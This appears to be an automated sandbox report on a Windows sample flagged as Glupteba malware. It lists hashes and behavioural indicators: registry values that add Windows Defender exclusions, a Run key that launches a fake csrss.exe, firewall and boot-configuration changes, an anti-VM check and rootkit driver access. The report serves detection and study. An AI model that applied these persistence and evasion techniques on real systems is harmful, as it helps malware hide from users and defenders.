Analysis
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max time kernel
138s -
max time network
139s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
28-05-2024 16:44
Static task
static1
Behavioral task
behavioral1
Sample
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe
Resource
win7-20231129-en
General
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Target
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe
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Size
3.8MB
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MD5
7da8b9fc5c5a67a06afc0749473f1b6e
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SHA1
7b0c1138015a3a573469e1142e44be65b73979c5
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SHA256
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
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SHA512
5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7
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SSDEEP
49152:1J2hEqrEZnrd2HL7ZXzG7F9qvtHIZfhzUxD+S70ojNKj2CJ7EYkIFlxZe69jKLPg:rWslMHnxGSlH8q5Qj73kU1KLfw+GG
Malware Config
Signatures
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Glupteba payload 19 IoCs
Processes:
resource yara_rule behavioral1/memory/2208-2-0x00000000053E0000-0x0000000005AD6000-memory.dmp family_glupteba behavioral1/memory/2208-3-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2208-4-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2208-7-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2208-5-0x00000000053E0000-0x0000000005AD6000-memory.dmp family_glupteba behavioral1/memory/2620-17-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-112-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-262-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-418-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-493-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-642-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-644-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-645-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-646-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-647-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-648-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-649-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-650-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/2476-651-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba -
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0922c4cbc69e.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\0922c4cbc69e = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudDew = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 2732 netsh.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 2476 csrss.exe 1892 patch.exe 1340 -
Loads dropped DLL 11 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exepatch.exepid process 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe 876 1892 patch.exe 1892 patch.exe 1892 patch.exe 1892 patch.exe 1892 patch.exe 1892 patch.exe 1892 patch.exe 1892 patch.exe -
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\0922c4cbc69e = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ProudDew = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0922c4cbc69e.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe = "0" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ProudDew = "\"C:\\Windows\\rss\\csrss.exe\"" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 608 bcdedit.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe -
Drops file in Windows directory 3 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe File created C:\Windows\Logs\CBS\CbsPersist_20240528164407.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1908 schtasks.exe 2804 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.execsrss.exepid process 2208 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe 2476 csrss.exe 2476 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.execsrss.exedescription pid process Token: SeDebugPrivilege 2208 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Token: SeImpersonatePrivilege 2208 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 2476 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.execmd.execsrss.exedescription pid process target process PID 2620 wrote to memory of 1888 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe cmd.exe PID 2620 wrote to memory of 1888 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe cmd.exe PID 2620 wrote to memory of 1888 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe cmd.exe PID 2620 wrote to memory of 1888 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe cmd.exe PID 1888 wrote to memory of 2732 1888 cmd.exe netsh.exe PID 1888 wrote to memory of 2732 1888 cmd.exe netsh.exe PID 1888 wrote to memory of 2732 1888 cmd.exe netsh.exe PID 2620 wrote to memory of 2476 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe csrss.exe PID 2620 wrote to memory of 2476 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe csrss.exe PID 2620 wrote to memory of 2476 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe csrss.exe PID 2620 wrote to memory of 2476 2620 7da8b9fc5c5a67a06afc0749473f1b6e_JaffaCakes118.exe csrss.exe PID 2476 wrote to memory of 608 2476 csrss.exe bcdedit.exe PID 2476 wrote to memory of 608 2476 csrss.exe bcdedit.exe PID 2476 wrote to memory of 608 2476 csrss.exe bcdedit.exe PID 2476 wrote to memory of 608 2476 csrss.exe bcdedit.exe -
Uses Task Scheduler COM API 1 TTPs
